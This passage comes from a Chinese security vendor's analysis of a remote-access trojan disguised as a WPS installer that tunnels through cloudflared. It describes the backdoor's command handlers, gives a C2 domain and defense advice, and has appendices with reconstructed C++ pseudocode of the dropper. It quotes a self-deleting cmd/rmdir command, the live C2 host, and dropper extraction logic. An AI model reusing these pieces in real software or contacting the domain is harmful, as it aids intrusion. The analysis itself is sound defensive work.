先为当前进程打开调试权限,再构造延时删除当前样本目录的命令并退出自己。它会调用 EnablePrivilege(L"SeDebugPrivilege", 1),再通过 NtSetInformationProcess 修改当前进程的某个保护状态,随后拼出 cmd /c ping ... && rmdir /s /q "<目录>" 这条命令隐藏启动,最后调用 ExitProcess(0) 结束自身,因此这个分支本质上是样本的提权、自删除和退出链。

case 14-case 16 :电源操作
执行系统关机、重启和注销/关机类动作。它们都会先调用 EnablePrivilege(L"SeShutdownPrivilege", 1) 为当前进程临时打开电源控制权限,再分别调用 ExitWindowsEx(4, 0)、ExitWindowsEx(6, 0) 和 ExitWindowsEx(5, 0) 执行对应动作,最后统一调用 EnablePrivilege(L"SeShutdownPrivilege", 0) 把权限关闭;EnablePrivilege 内部是通过 OpenProcessToken、LookupPrivilegeValueW 和 AdjustTokenPrivileges 启用或关闭权限,因此这一组分支本质上就是通过临时开启 SeShutdownPrivilege 来执行系统电源控制。

case 17 :切换插件模式
切换插件匹配或插件执行模式标志 reserved_430。它会在 0 和 1 之间切换该标志,并发送对应状态提示;由于插件探测逻辑会根据这个标志决定模块名是否附加 _bin 后缀,因此这个分支本质上是在远程切换插件模式。

case 201 :桌面状态/图像一体回传
把当前桌面状态以及可选截图统一回传给控制端。它会调用 SendDesktopSnapshotReply,由后者构造 1060 字节桌面状态头,并在需要时把编码后的桌面图像拼接到后面一起发送,因此这个分支本质上是桌面状态和截图的一体化回传逻辑。
SendDesktopSnapshotReply case 3分析过了

case 202 :登录确认
确认当前控制连接已经成功建立。它会把 login_result 原子地置为 1,再向控制端回发一个 0xCB 的 1 字节确认包,因此这个分支本质上是样本会话建立成功后的状态确认逻辑。

至此,该恶意样本已完成整个远控后门的构建过程,攻击者可随时调取用户终端所有信息。
五、IOC信息
5.1 C&C
www.qccf2.cyou
5.2 SHA256

六、防护建议
用户需高度警惕此次Cloudflare隧道远控木马威胁。该恶意程序伪装成WPS安装包传播,借助合法cloudflared组件实现白利用免杀,通过系统服务、计划任务双重持久化,并利用TCP隧道隐蔽外联,具备极强的隐蔽性与攻击性。
火绒安全建议广大用户:
1、立即升级病毒库,开启全盘扫描与实时防护
2、重点拦截可疑安装程序、异常服务启动及隧道外联行为
3、切勿运行来历不明的软件安装包
4、及时清理可疑启动项与计划任务
5、有效防范此类高级远控木马入侵,保障设备与数据安全
附录1 Gentee字节码反编译:
maincmdproc_asm 还原说明
Gentee_load加载的字节码还原为对应的C++代码:
1. 目的
maincmdproc_asm 是怎么整理成当前 C++ 伪代码的。
使用gentee_load加载的gs字节码与官方 Gentee ge_toasm 转换的汇编代码进行对应还原。
2. 对应字节码片段与汇编代码片段
ge_toasm汇编:

gs字节码:

3. 当前 C++ 还原片段
enum class UiCommand : u32
{
PrevOrLeft = 1007,
NextOrRight = 1008,
Confirm = 2,
};
static int MainCommandDispatch(
RuntimeState& st,
UiCommand cmd,
u32 hwnd,
u32 arg3,
u32 arg4)
{
(void)hwnd;
(void)arg4;
// iconapp + 1397 + 1565
// UI initialization and state-step refresh.
if (cmd == UiCommand::PrevOrLeft || cmd == UiCommand::NextOrRight)
{
if (st.active_object != nullptr && arg3 != 753)
{
// Dispatch to active object callback.
return 0;
}
if (cmd == UiCommand::NextOrRight)
++st.state_step;
else
--st.state_step;
return 0;
}
if (cmd == UiCommand::Confirm)
{
// DNocancel / DOK / #laskexit# / #lcaption#
// Confirm/cancel/exit dialog branch.
return 0;
}
return 0;
}
4. 怎么对应

5. 最后的收敛方式
maincmdproc_asm 不是逐条汇编机械翻译成 C++ 的,而是按下面这个过程收敛:
1. 从字节码里提取稳定常量和字符串
2. 用这些常量识别命令分支
3. 用这些字符串识别对话框和初始化语义
4. 最后整理成当前的高层 C++ 伪代码
所以当前的 MainCommandDispatch 本质上是:
基于字节码常量、字符串和控制流语义做出的人工高层还原。
附录2 安装业务与结构:
2.1 payload 列表
payload 结构
描述单个嵌入 payload 的来源、输出路径、大小、属性、是否执行。
struct EmbeddedPayload
{
std::string name;
std::string host_exe_path;
std::string output_path;
u32 source_offset = 0;
u32 total_size = 0;
u32 final_attributes = 0;
bool should_execute = false;
};
运行上下文
保存宿主 EXE 路径、临时目录和 payload 列表。
struct RuntimeContext
{
std::string host_exe_path;
std::string temp_root;
std::vector<EmbeddedPayload> payloads;
};
构造 payload 列表
定义两个 payload:
cloudflared_installer.exe和WPS_Setup_17150.exe
static void BuildPayloadList(RuntimeContext& ctx)
{
ctx.payloads.push_back({
"cloudflared_payload",
ctx.host_exe_path,
ctx.temp_root + "\\cloudflared_installer.exe",
0x00297000,
0x00109DDF,
0x000020A0,
false,
});
ctx.payloads.push_back({
"wps_setup_payload",
ctx.host_exe_path,
ctx.temp_root + "\\WPS_Setup_17150.exe",
0x016A0E0C,
0x001CE3FA,
0x000000A0,
true,
});
}
2.2 通用提取链
从宿主 EXE 读块
从宿主 EXE 指定偏移读取二进制块。
static std::vector<std::uint8_t> ReadHostChunk(
const std::string& host_path,
u32 offset,
u32 size)
{
(void)host_path;
(void)offset;
return std::vector<std::uint8_t>(size);
}
写入目标文件
把读取到的数据块写进目标文件。
static bool AppendChunkToOutput(
const std::string& output_path,
u32 output_offset,
const std::vector<std::uint8_t>& data)
{
(void)output_path;
(void)output_offset;
(void)data;
return true;
}
生成 chunk 计划
先取一个大块,再按 0x10000 为单位继续切块,用来完整重建嵌入文件
static std::vector<std::pair<u32, u32>> BuildChunkPlan(
u32 base_offset,
u32 total_size)
{
std::vector<std::pair<u32, u32>> plan;
const u32 first_chunk = total_size > 0x200000 ? 0x200000 : total_size;
plan.push_back({base_offset, first_chunk});
u32 written = first_chunk;
while (written < total_size)
{
u32 remain = total_size - written;
u32 chunk = remain > 0x10000 ? 0x10000 : remain;
plan.push_back({base_offset + written, chunk});
written += chunk;
}
return plan;
}
完整提取函数
循环执行:读宿主,写目标,最后进入落地收尾
static bool ExtractEmbeddedPayload(
const EmbeddedPayload& payload)
{
const auto plan = BuildChunkPlan(payload.source_offset, payload.total_size);
u32 output_offset = 0;
for (const auto& [src_offset, chunk_size] : plan)
{
const auto data = ReadHostChunk(payload.host_exe_path, src_offset, chunk_size);
if (!AppendChunkToOutput(payload.output_path, output_offset, data))
return false;
output_offset += chunk_size;
}
return FinalizeDroppedPayload(payload.output_path);
}
2.3 通用收尾链
落地收尾
static bool FinalizeDroppedPayload(
const std::string& output_path)
{
(void)output_path;
return true;
}
设置属性
给落地后的 payload 设定最终属性值
static bool ApplyPayloadAttributes(
const std::string& output_path,
u32 attributes)
{
(void)output_path;
(void)attributes;
return true;
}
检查落地文件
重新打开落地后的文件并做检查
static bool VerifyDroppedExecutable(
const std::string& output_path)
{
(void)output_path;
return true;
}
启动程序
启动已经落地好的目标程序
static bool ExecuteDroppedProcess(
const std::string& image_path,
const std::string& command_line)
{
(void)image_path;
(void)command_line;
return true;
}